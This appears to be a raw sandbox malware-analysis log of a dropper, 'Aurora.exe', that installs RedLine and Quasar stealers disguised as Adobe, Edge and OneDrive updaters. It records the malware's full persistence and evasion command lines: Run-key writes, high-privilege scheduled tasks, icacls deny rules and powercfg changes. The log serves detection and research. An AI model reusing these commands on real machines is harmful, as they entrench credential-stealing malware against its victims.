Source: C:\Windows\System32\conhost.exe

Code function: 57_2_00007FF6D68A3F40 NtCreateMutant,

57_2_00007FF6D68A3F40

Source: C:\Users\user\Desktop\Aurora.exe	Code function: 0_2_064309C8	0_2_064309C8
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Code function: 1_2_00007FF6C12AB900	1_2_00007FF6C12AB900
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Code function: 1_2_00007FF6C12A1000	1_2_00007FF6C12A1000
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Code function: 4_2_00E4E7B0	4_2_00E4E7B0
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Code function: 4_2_00E4DC90	4_2_00E4DC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 17_2_012EF03C	17_2_012EF03C
Source: C:\Users\user\AppData\Local\Msedge.exe	Code function: 18_2_00007FF62B64B900	18_2_00007FF62B64B900
Source: C:\Users\user\AppData\Local\Msedge.exe	Code function: 18_2_00007FF62B641000	18_2_00007FF62B641000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD9BAD53A0	22_2_00007FFD9BAD53A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 32_2_0549F03C	32_2_0549F03C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 56_2_0114F03C	56_2_0114F03C
Source: C:\Windows\System32\conhost.exe	Code function: 57_2_00007FF6D68B85C0	57_2_00007FF6D68B85C0
Source: C:\Windows\System32\conhost.exe	Code function: 57_2_00007FF6D68B3DE0	57_2_00007FF6D68B3DE0
Source: C:\Windows\System32\conhost.exe	Code function: 57_2_00007FF6D68B6D80	57_2_00007FF6D68B6D80
Source: C:\Windows\System32\conhost.exe	Code function: 57_2_00007FF6D68A7190	57_2_00007FF6D68A7190

Source: C:\Windows\System32\conhost.exe

Code function: String function: 00007FF6D68A3F40 appears 34 times

Source: C:\Users\user\Desktop\Aurora.exe

Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe dw20.exe -x -s 1480

Source: vlc.exe.0.dr	Static PE information: Number of sections : 11 > 10
Source: svchost.exe.19.dr	Static PE information: Number of sections : 11 > 10
Source: Null.0.dr	Static PE information: Number of sections : 23 > 10

Source: Null.0.dr

Static PE information: No import functions for PE file found

Source: Null.0.dr

Static PE information: Data appended to the last section found

Source: Aurora.exe, 00000000.00000002.1987273449.0000000002041000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemscorwks.dllT vs Aurora.exe
Source: Aurora.exe, 00000000.00000000.1667417417.00000000012B2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAurorora.exe, vs Aurora.exe
Source: Aurora.exe, 00000000.00000002.1955656741.00000000012AB000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAurorora.exe, vs Aurora.exe
Source: Aurora.exe, 00000000.00000002.2065806666.00000000064A0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamerayrabbit.dll4 vs Aurora.exe

Source: Aurora.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.0.build.exe.5e0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 4.0.build.exe.5e0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 7.2.OneDrive.exe.43d6b80.1.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 7.2.OneDrive.exe.43d6b80.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 7.2.OneDrive.exe.43d6b80.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: 7.2.OneDrive.exe.46f41b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 7.2.OneDrive.exe.46f41b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 7.2.OneDrive.exe.46f41b0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: 7.2.OneDrive.exe.46f41b0.0.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 7.2.OneDrive.exe.46f41b0.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 7.2.OneDrive.exe.46f41b0.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: 7.2.OneDrive.exe.43d6b80.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
Source: 7.2.OneDrive.exe.43d6b80.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 7.2.OneDrive.exe.43d6b80.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_QuasarStealer author = ditekshen, description = Detects Quasar infostealer, clamav_sig = MALWARE.Win.Trojan.QuasarStealer
Source: 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: build.exe PID: 6332, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, type: DROPPED	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: OneDrive.exe.0.dr, Cronos-Crypter---------------.cs	Base64 encoded string: 'QzpcV2luZG93c1xNaWNyb3NvZnQuTkVUXEZyYW1ld29ya1x2NC4wLjMwMzE5XFJlZ0FzbS5leGU=', 'UmVtb3ZlIC1JdGVtUHJvcGVydHkgLVBhdGggJ0hLQ1U6XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bicgLU5hbWUgJw==', 'JztOZXctSXRlbVByb3BlcnR5IC1QYXRoICdIS0NVOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4nIC1OYW1lICc=', 'IiAvc3QgMDA6MDAgL2R1IDk5OTk6NTkgL3NjIG9uY2UgL3JpIDYwIC9ybCBISUdIRVNUIC9m', 'IiAvc3QgMDA6MDAgL2R1IDk5OTk6NTkgL3NjIG9uY2UgL3JpIDYwIC9m'
Source: OneDrive Updater.exe.7.dr, Cronos-Crypter---------------.cs	Base64 encoded string: 'QzpcV2luZG93c1xNaWNyb3NvZnQuTkVUXEZyYW1ld29ya1x2NC4wLjMwMzE5XFJlZ0FzbS5leGU=', 'UmVtb3ZlIC1JdGVtUHJvcGVydHkgLVBhdGggJ0hLQ1U6XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bicgLU5hbWUgJw==', 'JztOZXctSXRlbVByb3BlcnR5IC1QYXRoICdIS0NVOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4nIC1OYW1lICc=', 'IiAvc3QgMDA6MDAgL2R1IDk5OTk6NTkgL3NjIG9uY2UgL3JpIDYwIC9ybCBISUdIRVNUIC9m', 'IiAvc3QgMDA6MDAgL2R1IDk5OTk6NTkgL3NjIG9uY2UgL3JpIDYwIC9m'

Source: OneDrive Updater.exe.7.dr, Cronos-Crypter---------------.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: OneDrive Updater.exe.7.dr, Cronos-Crypter---------------.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: OneDrive.exe.0.dr, Cronos-Crypter---------------.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: OneDrive.exe.0.dr, Cronos-Crypter---------------.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@91/34@3/4

Source: C:\Users\user\Desktop\Aurora.exe

File created: C:\Users\user\AppData\Roaming\AdobeLicense

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7188:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7324:120:WilError_03
Source: C:\Windows\System32\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\wqhuxjyrrhclgfix
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6204:120:WilError_03
Source: C:\Users\user\AppData\Local\Msedge.exe	Mutant created: \Sessions\1\BaseNamedObjects\Sentise311
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7736:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\0cbdfe7f-0215-41e8-a7b5-d4fbbc555089

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_brbwoi3y.qyo.ps1

Jump to behavior

Source: C:\Windows\System32\svchost.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Users\user\Desktop\Aurora.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Aurora.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: unknown	Process created: C:\Users\user\Desktop\Aurora.exe "C:\Users\user\Desktop\Aurora.exe"
Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe"
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start cmd /Q /C " ping localhost -n 1 && copy "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" "C:\Users\user\AppData\Local\Msedge.exe" && attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" && icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) && del "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" && cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe" && exit" && && exit "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe "C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /Q /C " ping localhost -n 1 && copy "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" "C:\Users\user\AppData\Local\Msedge.exe" && attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" && icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) && del "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" && cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe"
Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe "C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\icacls.exe icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate' -Value '"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"' -PropertyType 'String'
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /C schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Msedge.exe C:\Users\user\AppData\Local\Msedge.exe
Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe "C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#npnsokoe#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe dw20.exe -x -s 1480
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: unknown	Process created: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: unknown	Process created: C:\Users\user\AppData\Local\Msedge.exe "C:\Users\user\AppData\Local\Msedge.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: unknown	Process created: C:\Users\user\AppData\Local\Msedge.exe "C:\Users\user\AppData\Local\Msedge.exe"
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#npnsokoe#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: unknown	Process created: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lygkxs#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'ConsoleWindowsHost' /tr '''C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ConsoleWindowsHost' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe
Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe "C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe "C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe"	Jump to behavior
